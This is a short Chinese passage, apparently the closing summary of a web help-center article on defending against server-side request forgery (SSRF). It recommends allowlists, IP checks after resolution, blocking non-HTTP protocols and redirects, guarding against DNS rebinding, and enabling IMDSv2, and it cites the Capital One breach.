    总结:SSRF 防御核心是白名单 + 解析后校验真实 IP,禁止非 http(s) 协议,禁止跳转。关键细节:校验后必须直接用 IP 连接(防 DNS 重绑定)。云环境务必启用 IMDSv2。记住:SSRF + 云元数据 = 灾难性后果(Capital One 事件就是教训)。

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » SSRF 服务端请求伪造
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!